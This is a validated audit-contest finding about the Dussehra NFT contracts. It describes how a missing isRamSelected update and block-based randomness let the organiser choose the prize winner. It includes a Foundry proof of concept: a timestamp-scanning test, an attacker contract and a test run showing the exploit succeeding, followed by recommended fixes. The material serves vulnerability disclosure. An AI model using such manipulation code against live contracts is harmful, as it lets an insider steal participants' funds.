First Flight #17: Dussehra
First Flight #17
Beginner FriendlyFoundryNFT
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

`ChoosingRam::increaseValuesOfParticipants()` does not update `ChoosingRam::isRamSelected` allowing `RamNFT::organiser` to exploit weak randomness in `ChoosingRam::selectRamIfNotSelected`

mayhem

Summary

The objective of this protocol is to grant the status of ChoosingRam::isRamSelected to one of the participants that enters the protocol through Dussehra::enterPeopleWhoLikeRam(). The ChoosingRam::increaseValuesOfParticipants() function or the ChoosingRam::selectRamIfNotSelected() function both have the ability to select a participant to be the ChoosingRam:selectedRam . This lucky participant will get 50% of the entrance fees required to mint a RamNFT (Dussehra::totalAmountGivenToRam)

Both of the functions mentioned above have an important modifier: ChoosingRam::

modifier RamIsNotSelected() {
require(!isRamSelected, "Ram is selected!");
_;
}

ChoosingRam::isRamSelected is a boolean that should change to true when ChoosingRam:selectedRam has been chosen. We can see that in ChoosingRam::selectRamIfNotSelected(), the value is updated:

function selectRamIfNotSelected() public RamIsNotSelected OnlyOrganiser {
...
isRamSelected = true;
}

  • Only the RamNFT::organizer can call this function.

Presumably, this change should also occur in ChoosingRam::increaseValuesOfParticipants(). We can make this assumption because the function has the modifier mentioned earlier. The problem is, ChoosingRam::increaseValuesOfParticipants() does not update ChoosingRam::isRamSelected.

function increaseValuesOfParticipants(uint256 tokenIdOfChallenger, uint256 tokenIdOfAnyPerticipent)
public
RamIsNotSelected
{
...
if (random == 0) {
...
selectedRam = ramNFT.getCharacteristics(tokenIdOfChallenger).ram;
}
} else {
...
selectedRam = ramNFT.getCharacteristics(tokenIdOfAnyPerticipent).ram;
}
}
}

  • The function chooses an address for ChoosingRam::selectedRam, but it does not update ChoosingRam::isRamSelected.

ChoosingRam::selectRamIfNotSelected() can be called by RamNFT::organizer after this timestamp:

if (block.timestamp < 1728691200) {
// Saturday, October 12, 2024 12:00:00 AM GMT

  • Since ChoosingRam::increaseValuesOfParticipants() does not update ChoosingRam::isRamSelected, RamNFT::organizer will always be the actor that makes ChoosingRam::selectedRam official.

I was thinking about submitting this as a bug, but on its own, it's a Low at best. It's not a huge deal if ChoosingRam::selectedRam can constantly by changed until the timestamp deadline. The real threat lies in the attack opportunity provided to RamNFT::organiser thanks to this oversight.

RamNFT::organizer has more than enough information to dictate who the winner will be by exploiting weak randomness in ChoosingRam::selectRamIfNotSelected:

uint256 random = uint256(keccak256(abi.encodePacked(block.timestamp, block.prevrandao))) % ramNFT.tokenCounter();

  • This calculation will produce a number that will be used to choose a "random" RamNFT id.

    • Along with the timestamps, RamNFT::tokenCounter (the amount of participants in the protocol), determines the "random" number

  • The owner of this nft will become ChoosingRam::selectedRam granting them claim to 50% of the mint fees.

Vulnerability Details

The attack can occur in a few ways. In its simplest form, RamNFT::organiser can collude with a participant and choose them to be ChoosingRam::selectedRam. An attack contract may not be necessary, but it makes the attack much easier. If the RamNFT::organiser chooses to go with the simple route, they would have to deploy their attack at very specific times. This function in Foundry shows how RamNFT::organiser can figure out when to attack.

Find Random Number
function test_findZeroRandomness() public participants {
uint256 startTime = 1728691200;
uint256 endTime = 1728777600;
uint256 amountOfRandom = 0;
uint256 counter = ramNFT.tokenCounter();
​
console.log("counter: ", counter);
// Loop through the range of timestamps
for (uint256 timestamp = startTime+1; timestamp <= endTime; timestamp++) {
vm.warp(timestamp);
​
uint256 random = uint256(keccak256(abi.encodePacked(block.timestamp, block.prevrandao))) % counter;
// check how many times 0 occurs
if (random == 0) {
console.log("Found a zero randomness at timestamp: ", timestamp);
amountOfRandom++;
}
}
console.log("random: ", amountOfRandom);
}
// counter: 101
// random: 849

  • In this example, RamNFT::organiser wants the first entry to be the ChoosingRam::selectedRam: if random == 0

  • The function will keep track of all the timestamps that would produce 0 based on the value of RamNFT::tokenCounter

    • A counter of 101 will produce 0 849 times within the predetermined time constraints of ChoosingRam::selectRamIfNotSelected

  • Without an attack contract, RamNFT::organiser would have to make a precise call ofChoosingRam::selectRamIfNotSelected() during one of the returned timestamps

Using an attack contract gives RamNFT::organiser room for error:
// SPDX-License-Identifier: MIT
pragma solidity 0.8.20;
​
interface IChoosingRam {
function selectRamIfNotSelected() external;
}
​
contract OrganizerChoosingRam {
address private immutable owner;
IChoosingRam choosingRam;
​
constructor() {
owner = msg.sender;
}
​
function setContract(address _chooingRam) public {
if (msg.sender != owner) {
revert();
}
choosingRam = IChoosingRam(_chooingRam);
}
​
function attack(uint256 myId, uint256 counter) public {
if (msg.sender != owner) {
revert();
}
​
bool found = false;
uint256 random;
​
while (!found) {
random =
uint256(keccak256(abi.encodePacked(block.timestamp, block.prevrandao))) % counter;
​
if (random == myId) {
found = true;
}
}
choosingRam.selectRamIfNotSelected();
}
​
function withdraw() public {
if (msg.sender != owner) {
revert();
}
​
(bool success, ) = msg.sender.call{value: address(this).balance}("");
if (!success) {
revert();
}
}
receive() external payable {}
}

  • The malicious actor would use this contract to deploy RamNFT which would mean that this contract would function as RamNFT::organiser

  • The malicious actor could enter the protocol and choose their RamNFT to become ChoosingRam::selectedRam (or collude with another participant)

Foundry Setup:
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.13;
​
import {Test, console} from "forge-std/Test.sol";
import {Dussehra} from "../../src/Dussehra.sol";
import {ChoosingRam} from "../../src/ChoosingRam.sol";
import {RamNFT} from "../../src/RamNFT.sol";
import {OrganizerChoosingRam} from "../../src/attacks/OrganizerAttack.sol";
​
contract OrganizerAttackTest is Test {
Dussehra public dussehra;
RamNFT public ramNFT;
ChoosingRam public choosingRam;
OrganizerChoosingRam attack;
​
address public organiser = makeAddr("organiser");
​
uint256 public constant PICK_A_NUMBER = 100;
address[] players = new address[](PICK_A_NUMBER);
​
function setUp() public {
// organizer deploys attack contract
vm.startPrank(organiser);
attack = new OrganizerChoosingRam();
vm.stopPrank();
​
// attack contract is used as "organizer"
vm.startPrank(address(attack));
ramNFT = new RamNFT();
choosingRam = new ChoosingRam(address(ramNFT));
dussehra = new Dussehra(1 ether, address(choosingRam), address(ramNFT));
ramNFT.setChoosingRamContract(address(choosingRam));
vm.stopPrank();
​
vm.deal(organiser, 10 ether);
vm.startPrank(organiser);
dussehra.enterPeopleWhoLikeRam{value: 1 ether}();
vm.stopPrank();
}
​
// enter any number of participants
modifier participants() {
for (uint256 i =0; i< PICK_A_NUMBER; i++) {
string memory stringNumber = vm.toString(i);
players[i] = makeAddr(stringNumber);
vm.deal(players[i], 1 ether);
vm.startPrank(players[i]);
dussehra.enterPeopleWhoLikeRam{value: 1 ether}();
vm.stopPrank();
}
_;
}
}

  • Organizer deploys attack contract and uses the attack contract to deploy RamNFT

  • Organizer enters the protocol as first participant (tokenId: 0)

  • We can create an arbitrary amount of users (100 in this example) setting the counter (101 in this example)

Foundry Test:
function test_organizerAttackWorks() public participants {
// 5th entrant has nft stats boosted, but does not become `ChoosingRam::selectedRam`
vm.startPrank(organiser);
choosingRam.increaseValuesOfParticipants(0, 4);
choosingRam.increaseValuesOfParticipants(0, 4);
choosingRam.increaseValuesOfParticipants(0, 4);
choosingRam.increaseValuesOfParticipants(0, 4);
choosingRam.increaseValuesOfParticipants(0, 4);
assertEq(ramNFT.getCharacteristics(4).isSatyavaakyah, true);
assertEq(choosingRam.isRamSelected(), false);
vm.stopPrank();
​
​
// warp to where `ChoosingRam::selectRamIfNotSelected()` can be called
vm.warp(1728691200 + 1);
uint256 counter = ramNFT.tokenCounter();
uint256 random = uint256(keccak256(abi.encodePacked(block.timestamp, block.prevrandao))) % ramNFT.tokenCounter();
console.log("counter: ", counter);
console.log("randomCheck: ", random);
​
// attacker sets `ChoosingRam` contract
vm.startPrank(organiser);
attack.setContract(address(choosingRam));
vm.stopPrank();
​
// warp to a block found with `test_findZeroRandomness`
vm.warp(1728774915);
random = uint256(keccak256(abi.encodePacked(block.timestamp, block.prevrandao))) % ramNFT.tokenCounter();
console.log("randomAttack: ", random);
​
vm.startPrank(organiser);
attack.attack(0, counter);
address selected = choosingRam.selectedRam();
console.log("selected: ", selected);
console.log("organizer: ", organiser);
assertEq(choosingRam.isRamSelected(), true);
vm.stopPrank();
}
// counter: 101
// randomCheck: 37
// randomAttack: 0
// selected: 0xe81f335f0c35d66819c4dF203d728f579880b4b1
// organizer: 0xe81f335f0c35d66819c4dF203d728f579880b4b1

  • The test shows ChoosingRam::increaseValuesOfParticipants maxing out the RamNFT for entrant 5

    • It does not trigger ChoosingRam::isSelected

  • The organizer figures out which blocks they can exploit

    • In the wild, the attack function could be triggered near one of these timestamps

    • Without a contract, the malicious actor's call of ChoosingRam::selectRamIfNotSelected() would need to be much more precise

Impact

This is a high rsk vulnerability that enables the RamNFT::organiser to acquire all the funds.

Users enter this protocol with the belief that they have a chance to win 50% of the entrance fees if they become ChoosingRam:selectedRam. This vulnerability erases the implied randomness of the protocol and gives all of the rewards to RamNFT::organiser.

ChoosingRam::increaseValuesOfParticipants() never sets the ChoosingRam::isRamSelected boolean to true. RamNFT::organiser will always set ChoosingRam:selectedRam with the ChoosingRam::selectRamIfNotSelected() function.

The malicious actor can:

  • Use an attack contract to serve the role of RamNFT::organiser while entering the contest themselves

  • Or collude with an entrant.


    Either way, the malicious actor is in control of choosing ChoosingRam:selectedRam removing randomness from the equation. With or without an attack contract, the actor pulling the strings of RamNFT::organiser will receive a majority of the funds. They can choose to collude with a participant to get a share of Dussehra::totalAmountGivenToRam along with the remaining 50%. Or, they can take 100%.

Tools Used

  • Manual Review

  • Foundry

Recommendations

When the conditions are met, ChoosingRam::increaseValuesOfParticipants should set ChoosingRam::isSelected to true

function increaseValuesOfParticipants(uint256 tokenIdOfChallenger, uint256 tokenIdOfAnyPerticipent)
public
RamIsNotSelected
{
...
if (random == 0) {
...
selectedRam = ramNFT.getCharacteristics(tokenIdOfChallenger).ram;
+ isRamSelected = true;
}
} else {
...
selectedRam = ramNFT.getCharacteristics(tokenIdOfAnyPerticipent).ram;
+ isRamSelected = true;
}
}
}

  • This will put some control of the outcome in the hands of the participants.

  • Without this change, RamNFT::organiser has all of the influence

We can consider not allowing contracts to become RamNFT::organiser
RamNFT

function _isContract(address account) internal view returns (bool) {
uint256 size;
assembly {
size := extcodesize(account)
}
return size > 0;
}

RamNFT::constructor()

constructor() ERC721("RamNFT", "RAM") {
+ if (_isContract(msg.sender)) {
+ revert();
+ }
tokenCounter = 0;
organiser = msg.sender;
}

  • This is a step in the right direction, but it doesn't address the main problem

The most important mitigation step is to use off-chain methods such as ChainlinkVRF to create randomness.

function selectRamIfNotSelected() public RamIsNotSelected OnlyOrganiser {
...
- uint256 random = uint256(keccak256(abi.encodePacked(block.timestamp, block.prevrandao))) % ramNFT.tokenCounter();
...
}

  • This implementation of "randomness" gives the malicious actor all the information they need to get their desired output.

  • It should not be used

Updates

Lead Judging Commences

bube Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

`isRamSelected` is not set

Weak randomness in `ChoosingRam::selectRamIfNotSelected`

The organizer is trusted, but the function `ChoosingRam::selectRamIfNotSelected` uses a way to generate a random number that is not completely random.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.